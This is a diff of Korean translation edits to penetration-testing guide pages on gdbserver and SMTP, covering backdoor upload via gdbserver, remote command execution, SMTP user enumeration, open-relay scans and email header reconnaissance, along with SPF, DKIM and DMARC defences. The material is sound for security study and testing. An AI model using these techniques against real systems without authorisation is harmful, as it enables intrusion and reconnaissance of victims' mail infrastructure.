* 파일 전송이 대상에서 비활성화되어 있어도 대상에 파일을 업로드 및 다운로드
|
||||
|
||||
|
@ -157,9 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환할 수 있는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환할 수 있는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Exploitation
|
||||
|
||||
### 업로드 및 실행
|
||||
### Upload and Execute
|
||||
|
||||
**msfvenom으로 elf 백도어를 쉽게 생성하고**, 업로드하여 실행할 수 있습니다:
|
||||
```bash
|
||||
|
@ -58,7 +58,7 @@ run
|
|||
```
|
||||
### 임의의 명령 실행
|
||||
|
||||
**디버거가 임의의 명령을 실행하도록 만드는 또 다른 방법이 있습니다.** [**여기에서 가져온 python 사용자 정의 스크립트**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
**디버거가 임의의 명령을 실행하도록 만드는 또 다른 방법은** [**여기에서 가져온 python 사용자 정의 스크립트를 사용하는 것입니다**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -200,9 +200,9 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -216,7 +216,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 여러분의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**간단한 메일 전송 프로토콜(SMTP)**은 **이메일을 전송하고 수신하는 데 사용되는 TCP/IP 프로토콜**입니다. 수신자의 메시지 대기열에 대한 제한으로 인해 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
|
||||
**간단한 메일 전송 프로토콜(SMTP)**은 **이메일을 전송하고 수신하는** 데 사용되는 TCP/IP 프로토콜입니다. 수신자의 메시지 대기열에 대한 제한으로 인해 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
|
||||
|
||||
실제로 **이메일 프로그램**은 **이메일 전송을 위해 SMTP를 사용**하고, **수신을 위해 POP3 또는 IMAP을 사용**하는 것이 일반적입니다. 유닉스 기반 시스템에서는 **sendmail**이 이메일 용도로 가장 자주 사용되는 SMTP 서버로 두드러집니다. Sendmail이라는 상용 패키지는 POP3 서버를 포함하고 있습니다. 또한, **Microsoft Exchange**는 SMTP 서버를 제공하며 POP3 지원을 포함할 수 있는 옵션을 제공합니다.
|
||||
|
||||
|
@ -36,11 +36,11 @@ PORT STATE SERVICE REASON VERSION
|
|||
```
|
||||
### EMAIL Headers
|
||||
|
||||
피해자가 **이메일을 보내도록 만들 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. 왜냐하면 **메일의 헤더를 통해 피해자의 내부 토폴로지에 대해 알 수 있기 때문입니다.**
|
||||
피해자가 **이메일을 보내도록 만들 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. 왜냐하면 **이메일 헤더를 통해 피해자의 내부 토폴로지를 알 수 있기 때문입니다.**
|
||||
|
||||
또한 **존재하지 않는 주소로 그 서버에 이메일을 보내려고 시도하여 SMTP 서버에서 이메일을 받을 수 있습니다** (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인하세요.
|
||||
또한 **존재하지 않는 주소로 그 서버에 이메일을 보내려고 시도하여 SMTP 서버에서 이메일을 받을 수 있습니다** (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인해야 합니다.
|
||||
|
||||
또한 **다양한 내용을 보내보세요. 헤더에서 더 흥미로운 정보를 찾을 수 있습니다**: `X-Virus-Scanned: by av.domain.com`\
|
||||
또한 **다양한 내용을 보내보세요. 왜냐하면 헤더에서 더 흥미로운 정보를 찾을 수 있기 때문입니다**: `X-Virus-Scanned: by av.domain.com`\
|
||||
EICAR 테스트 파일을 보내야 합니다.\
|
||||
**AV**를 감지하면 **알려진 취약점을 악용할 수 있습니다.**
|
||||
|
||||
|
@ -110,7 +110,7 @@ MAIL FROM: me
|
|||
|
||||
## 사용자 이름 브루트포스 열거
|
||||
|
||||
**인증이 항상 필요하지는 않습니다.**
|
||||
**인증이 항상 필요한 것은 아닙니다.**
|
||||
|
||||
### RCPT TO
|
||||
```bash
|
||||
|
@ -171,15 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## DSN 보고서
|
||||
|
||||
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었다는 것을 **귀하에게 메일을 보내** 알립니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 것입니다.
|
||||
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었다고 **메일을 다시 보내** 알려줍니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 것입니다.
|
||||
|
||||
## [명령어](smtp-commands.md)
|
||||
|
||||
|
@ -248,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
|
||||
## SMTP 스머글링
|
||||
|
||||
SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍니다 (자세한 정보는 다음 섹션을 참조하세요). SMTP 스머글링에 대한 더 많은 정보는 다음을 확인하세요:
|
||||
SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍니다 (보호에 대한 자세한 정보는 다음 섹션을 참조하세요). SMTP 스머글링에 대한 더 많은 정보는 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
|
@ -256,7 +256,7 @@ SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍
|
|||
|
||||
## 메일 스푸핑 대응책
|
||||
|
||||
조직은 **SPF**, **DKIM**, **DMARC**를 사용하여 그들의 이름으로 무단 이메일이 전송되는 것을 방지합니다. 이는 SMTP 메시지를 스푸핑하는 것이 용이하기 때문입니다.
|
||||
조직은 SMTP 메시지를 스푸핑하는 것이 용이하기 때문에 **SPF**, **DKIM**, **DMARC**를 사용하여 그들의 이름으로 무단 이메일이 전송되는 것을 방지합니다.
|
||||
|
||||
**이 대응책에 대한 완전한 가이드**는 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)에서 확인할 수 있습니다.
|
||||
|
||||
|
@ -280,13 +280,13 @@ SPF [는 2014년에 "사용 중지"되었습니다](https://aws.amazon.com/premi
|
|||
| IP4 | 발신자가 주어진 IPv4 주소 범위에 있는 경우 일치합니다. |
|
||||
| IP6 | 발신자가 주어진 IPv6 주소 범위에 있는 경우 일치합니다. |
|
||||
| MX | 도메인 이름에 발신자의 주소로 확인할 수 있는 MX 레코드가 있는 경우 일치합니다 (즉, 메일이 도메인의 수신 메일 서버 중 하나에서 옵니다). |
|
||||
| PTR | 클라이언트의 주소에 대한 도메인 이름 (PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트의 주소로 확인되는 경우 (정방향 확인된 역 DNS), 일치합니다. 이 메커니즘은 권장되지 않으며 가능한 한 피해야 합니다. |
|
||||
| PTR | 클라이언트의 주소에 대한 도메인 이름 (PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트의 주소로 확인되는 경우 (전방 확인된 역 DNS), 일치합니다. 이 메커니즘은 권장되지 않으며 가능하면 피해야 합니다. |
|
||||
| EXISTS | 주어진 도메인 이름이 어떤 주소로도 확인되는 경우 일치합니다 (확인되는 주소에 관계없이). 이는 드물게 사용됩니다. SPF 매크로 언어와 함께 사용하면 DNSBL 쿼리와 같은 더 복잡한 일치를 제공합니다. |
|
||||
| INCLUDE | 다른 도메인의 정책을 참조합니다. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과합니다. 그러나 포함된 정책이 실패하면 처리는 계속됩니다. 다른 도메인의 정책에 완전히 위임하려면 리디렉션 확장을 사용해야 합니다. |
|
||||
| REDIRECT | <p>리디렉션은 SPF 정책을 호스팅하는 다른 도메인 이름에 대한 포인터로, 여러 도메인이 동일한 SPF 정책을 공유할 수 있게 해줍니다. 이는 동일한 이메일 인프라를 공유하는 많은 도메인과 작업할 때 유용합니다.</p><p>리디렉션 메커니즘에 표시된 도메인의 SPF 정책이 사용됩니다.</p> |
|
||||
| INCLUDE | 다른 도메인의 정책을 참조합니다. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과합니다. 그러나 포함된 정책이 실패하면 처리가 계속됩니다. 다른 도메인의 정책에 완전히 위임하려면 리디렉션 확장을 사용해야 합니다. |
|
||||
| REDIRECT | <p>리디렉션은 SPF 정책을 호스팅하는 다른 도메인 이름에 대한 포인터로, 여러 도메인이 동일한 SPF 정책을 공유할 수 있게 해줍니다. 이는 동일한 이메일 인프라를 공유하는 많은 도메인에서 작업할 때 유용합니다.</p><p>리디렉션 메커니즘에 표시된 도메인의 SPF 정책이 사용됩니다.</p> |
|
||||
|
||||
**정량자**를 식별하는 것도 가능합니다. 이는 **메커니즘이 일치할 경우 수행해야 할 작업**을 나타냅니다. 기본적으로 **정량자 "+"**가 사용됩니다 (따라서 어떤 메커니즘이 일치하면 허용된다는 의미입니다).\
|
||||
보통 **각 SPF 정책의 끝**에 **\~all** 또는 **-all**과 같은 것이 표시됩니다. 이는 **발신자가 어떤 SPF 정책과도 일치하지 않을 경우 이메일을 신뢰할 수 없는 것으로 태그(\~)하거나 이메일을 거부(-)해야 함을 나타냅니다.**
|
||||
**정량자**를 식별하는 것도 가능하며, 이는 **메커니즘이 일치할 경우 수행해야 할 작업**을 나타냅니다. 기본적으로 **정량자 "+"**가 사용됩니다 (따라서 어떤 메커니즘이 일치하면 허용된다는 의미입니다).\
|
||||
보통 **각 SPF 정책의 끝에** **\~all** 또는 **-all**과 같은 것을 볼 수 있습니다. 이는 **발신자가 어떤 SPF 정책과도 일치하지 않을 경우, 이메일을 신뢰할 수 없는 것으로 태그(\~)하거나 이메일을 거부(-)해야 함을 나타냅니다.**
|
||||
|
||||
#### 정량자
|
||||
|
||||
|
@ -297,7 +297,7 @@ SPF [는 2014년에 "사용 중지"되었습니다](https://aws.amazon.com/premi
|
|||
* **`~`**: SOFTFAIL을 나타내며, NEUTRAL과 FAIL 사이의 중간 지점 역할을 합니다. 이 결과를 충족하는 이메일은 일반적으로 수락되지만 적절히 표시됩니다.
|
||||
* **`-`**: FAIL을 나타내며, 이메일이 즉시 거부되어야 함을 제안합니다.
|
||||
|
||||
다음 예제에서는 **google.com의 SPF 정책**이 설명됩니다. 첫 번째 SPF 정책 내에 다른 도메인의 SPF 정책이 포함된 점에 유의하세요:
|
||||
다음 예제에서는 **google.com의 SPF 정책**이 설명됩니다. 첫 번째 SPF 정책 내에 다른 도메인의 SPF 정책이 포함되어 있는 점에 유의하세요:
|
||||
```shell-session
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
|
@ -322,7 +322,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
|
|||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM은 아웃바운드 이메일에 서명하는 데 사용되며, 외부 메일 전송 에이전트(MTA)가 DNS에서 도메인의 공개 키를 검색하여 이를 검증할 수 있도록 합니다. 이 공개 키는 도메인의 TXT 레코드에 위치합니다. 이 키에 접근하려면 선택자와 도메인 이름을 모두 알아야 합니다.
|
||||
DKIM은 외부 메일 전송 에이전트(MTA)가 DNS에서 도메인의 공개 키를 검색하여 아웃바운드 이메일에 서명하는 데 사용됩니다. 이 공개 키는 도메인의 TXT 레코드에 위치합니다. 이 키에 접근하려면 선택자와 도메인 이름을 모두 알아야 합니다.
|
||||
|
||||
예를 들어, 키를 요청하려면 도메인 이름과 선택자가 필수적입니다. 이는 메일 헤더 `DKIM-Signature`에서 찾을 수 있습니다, 예: `d=gmail.com;s=20120113`.
|
||||
|
||||
|
@ -334,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
|||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일을 처리하는 데 있어 메일 서버가 따라야 할 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
|
||||
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일 처리에 대한 지침을 제공하는 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
|
||||
|
||||
**DMARC 레코드를 얻으려면 서브도메인 \_dmarc를 쿼리해야 합니다.**
|
||||
```bash
|
||||
|
@ -369,9 +369,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
메일을 보내고자 하는 각 하위 도메인에 대해 별도의 SPF 레코드를 가져야 합니다.\
|
||||
다음 내용은 원래 openspf.org에 게시된 것으로, 이와 같은 정보에 대한 훌륭한 자원이었습니다.
|
||||
|
||||
> 악마의 질문: 하위 도메인은 어떻게 되나요?
|
||||
> 데몬 질문: 하위 도메인은 어떻게 되나요?
|
||||
>
|
||||
> pielovers.demon.co.uk에서 메일을 받고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. Demon의 각 하위 도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 기본적으로 Demon's 정책이 모든 고객에게 적용되는 것은 의미가 없습니다. Demon이 그렇게 하기를 원한다면, 각 하위 도메인에 대한 SPF 레코드를 설정할 수 있습니다.
|
||||
> pielovers.demon.co.uk에서 메일을 받았고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. 데몬의 각 하위 도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 데몬의 정책이 기본적으로 모든 고객에게 적용되는 것은 의미가 없습니다. 데몬이 그렇게 하기를 원한다면, 각 하위 도메인에 대한 SPF 레코드를 설정할 수 있습니다.
|
||||
>
|
||||
> 따라서 SPF 발행자에게 주는 조언은 다음과 같습니다: A 또는 MX 레코드가 있는 각 하위 도메인 또는 호스트 이름에 대해 SPF 레코드를 추가해야 합니다.
|
||||
>
|
||||
|
@ -381,13 +381,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
|
||||
### **오픈 릴레이**
|
||||
|
||||
이메일이 전송될 때, 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 **어떤 IP 범위가 안전한지** 완전히 인식하지 못할 수 있다는 것입니다. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
|
||||
이메일이 전송될 때, 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 어떤 **IP 범위가 안전한지 완전히 인식하지 못할 수 있다는 것입니다**. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
|
||||
|
||||
특히 잠재적이거나 진행 중인 클라이언트와의 통신과 관련하여 이메일 배달 문제를 피하기 위해 일부 관리자가 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
|
||||
일부 관리자가 잠재적 또는 진행 중인 고객과의 통신과 관련하여 이메일 배달 문제를 피하기 위해 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있다는 의미), `nmap` 도구가 일반적으로 사용됩니다. 이 도구는 이를 테스트하기 위해 설계된 특정 스크립트를 포함하고 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은:
|
||||
메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있다는 의미), `nmap` 도구가 일반적으로 사용됩니다. 이 도구에는 이를 테스트하기 위한 특정 스크립트가 포함되어 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은 다음과 같습니다:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
@ -503,7 +503,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### **더 많은 정보**
|
||||
|
||||
**이러한 보호 조치에 대한 자세한 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 확인하세요.**
|
||||
**이러한 보호 조치에 대한 더 많은 정보는** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **에서 확인하세요.**
|
||||
|
||||
### **기타 피싱 지표**
|
||||
|
||||
|
@ -524,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### Postfix
|
||||
|
||||
일반적으로 설치된 경우 `/etc/postfix/master.cf`에는 사용자가 새 메일을 수신할 때 실행할 **스크립트**가 포함되어 있습니다. 예를 들어 `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일을 수신하면 `/etc/postfix/filtering`이 실행됨을 의미합니다.
|
||||
보통 설치되어 있다면, `/etc/postfix/master.cf`에는 사용자가 새 메일을 수신할 때 실행할 **스크립트**가 포함되어 있습니다. 예를 들어, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일을 수신하면 `/etc/postfix/filtering`이 실행된다는 것을 의미합니다.
|
||||
|
||||
기타 구성 파일:
|
||||
```
|
||||
|
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -605,7 +605,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,46 +17,46 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
**Commands from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
**명령어 출처:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
첫 번째 SMTP 명령으로, 발신 서버를 식별하며 대화를 시작하고 일반적으로 도메인 이름이 뒤따릅니다.
|
||||
첫 번째 SMTP 명령어로, 발신 서버를 식별하며 일반적으로 도메인 이름이 뒤따릅니다.
|
||||
|
||||
**EHLO**\
|
||||
대화를 시작하는 대체 명령으로, 서버가 확장 SMTP 프로토콜을 사용하고 있음을 나타냅니다.
|
||||
대화 시작을 위한 대체 명령어로, 서버가 확장 SMTP 프로토콜을 사용하고 있음을 나타냅니다.
|
||||
|
||||
**MAIL FROM**\
|
||||
